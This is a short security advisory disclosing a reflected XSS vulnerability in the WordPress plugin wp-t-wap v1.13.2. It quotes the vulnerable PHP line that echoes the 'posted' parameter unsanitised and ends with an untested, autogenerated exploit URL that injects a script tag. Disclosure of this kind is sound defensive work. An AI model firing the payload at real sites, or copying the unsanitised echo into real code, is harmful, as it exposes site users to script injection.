Advisory #: 464
Title: Reflected XSS in wordpress plugin wp-t-wap v1.13.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-t-wap
Downloads: 28637
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-t-wap
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-t-wap/wap/edit.php: 117:<div id="message" class="updated fade"><p><strong><?php _e('Your post has been saved.'); ?></strong> <a href="<?php echo get_permalink( $_GET['posted'] ); ?>"><?php _e('View post'); ?></a> | <a href="post.php?action=edit&amp;post=<?php echo $_GET['posted']; ?>"><?php _e('Edit post'); ?></a></p></div> The variable posted appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-t-wap/wap/edit.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-t-wap/wap/edit.php?posted="><script>alert(1);</script><"